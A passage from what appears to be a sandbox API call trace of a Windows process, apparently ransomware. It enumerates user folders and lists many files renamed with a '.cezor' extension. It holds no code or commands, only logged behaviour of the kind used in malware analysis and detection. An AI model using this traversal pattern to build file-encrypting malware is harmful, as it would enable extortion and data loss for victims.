ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14797010, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-W0-.gif.cezor") returned=".cezor" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Aor58F2ltwiS2qWZJE.bmp.cezor") returned=".cezor" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FDQ3v_tHbiNjViuE.jpg.cezor") returned=".cezor" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hiUvM1waNbZk-e.bmp.cezor") returned=".cezor" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jMNoGbN.gif.cezor") returned=".cezor" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\L4Lb_VKCFG5Baj3.gif.cezor") returned=".cezor" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MCZaDa0QQJ6wcNZUXn.gif.cezor") returned=".cezor" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MkdmiW2n2hm UFrse-.bmp.cezor") returned=".cezor" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OFMo70Ypi.jpg.cezor") returned=".cezor" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QoXfvFeQOhQIV.png.cezor") returned=".cezor" [0122.677] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S4GQ2GGMfzy1DKUl.png.cezor") returned=".cezor" [0122.678] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VyatE0vXWAqC0OxRt_.jpg.cezor") returned=".cezor" [0122.678] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\y18suG.gif.cezor") returned=".cezor" [0122.678] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.678] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.678] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0122.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.678] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.678] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.678] PathFindFileNameW (pszPath="") returned="" [0122.678] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16d7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif.cezor", cAlternateFileName="Y18SUG~1.CEZ")) returned 0xffffffff [0122.679] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.679] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0122.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.679] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.679] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.679] PathFindFileNameW (pszPath="") returned="" [0122.679] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x14797010, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16d7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif.cezor", cAlternateFileName="Y18SUG~1.CEZ")) returned 0xffffffff [0122.679] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.679] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0122.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.679] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.679] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.679] PathFindFileNameW (pszPath="") returned="" [0122.679] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.679] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0122.679] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.680] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.680] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0122.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.680] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.680] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.680] PathFindFileNameW (pszPath="") returned="" [0122.680] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.680] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0122.680] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0122.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.680] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0122.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.680] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.681] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.681] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0122.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.681] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.681] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.681] PathFindFileNameW (pszPath="") returned="" [0122.681] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0122.681] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.681] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0122.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.681] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.681] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.681] PathFindFileNameW (pszPath="") returned="" [0122.681] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0122.681] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.681] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0122.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.682] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.682] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.682] PathFindFileNameW (pszPath="") returned="" [0122.682] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0122.682] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.682] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0122.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.682] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.682] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.682] PathFindFileNameW (pszPath="") returned="" [0122.682] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14809430, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14809430, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.682] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0122.682] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\M45yR7c437.avi.cezor") returned=".cezor" [0122.682] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ReEw7jE5wqOg.swf.cezor") returned=".cezor" [0122.682] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.682] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.683] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.683] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.683] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.683] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.683] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.683] PathFindFileNameW (pszPath="") returned="" [0122.683] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.683] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.683] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.683] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.683] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.683] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\") returned="0oqCmMdMfyA -VyQ\\" [0122.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0122.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.684] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.684] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.684] PathFindFileNameW (pszPath="") returned="" [0122.684] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0x148556f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x148556f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.684] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\am8f6gN_e89TbRknT.wav.cezor") returned=".cezor" [0122.684] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\gW8MJuJm9dKBS.swf.cezor") returned=".cezor" [0122.684] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.684] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.684] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\") returned="cJ1uF3yzdYr\\" [0122.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0122.684] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.684] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.684] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.684] PathFindFileNameW (pszPath="") returned="" [0122.684] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x148c7b10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x148c7b10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.685] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\4_mbPPGlzHp_oUuJ-H3Z.bmp.cezor") returned=".cezor" [0122.685] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\6lkmIZ.jpg.cezor") returned=".cezor" [0122.685] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\bYco6U CoNywT.ots.cezor") returned=".cezor" [0122.685] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\sH_lIdhNg4 u9hq.xls.cezor") returned=".cezor" [0122.685] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\UB qDPSTcD6SsAM5.pdf.cezor") returned=".cezor" [0122.685] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.686] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.686] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\") returned="Qz91k6FGRf5u2kNaQ\\" [0122.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0122.686] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.686] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.686] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.686] PathFindFileNameW (pszPath="") returned="" [0122.686] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e9dd40, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x14960090, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14960090, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.687] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\4k4 81HVDXuJOl.odp.cezor") returned=".cezor" [0122.687] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\eMppgNp_d0eONIt.mp4.cezor") returned=".cezor" [0122.687] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\ok1IxJmM0MNDy1z2SKRW.odp.cezor") returned=".cezor" [0122.687] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\Rqjkx-Inyu564.bmp.cezor") returned=".cezor" [0122.687] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\wpZkXn.mp4.cezor") returned=".cezor" [0122.687] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\wWuRiwRN3-J7Oj9WP.jpg.cezor") returned=".cezor" [0122.687] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.688] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.688] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0122.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.688] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.688] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.688] PathFindFileNameW (pszPath="") returned="" [0122.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, 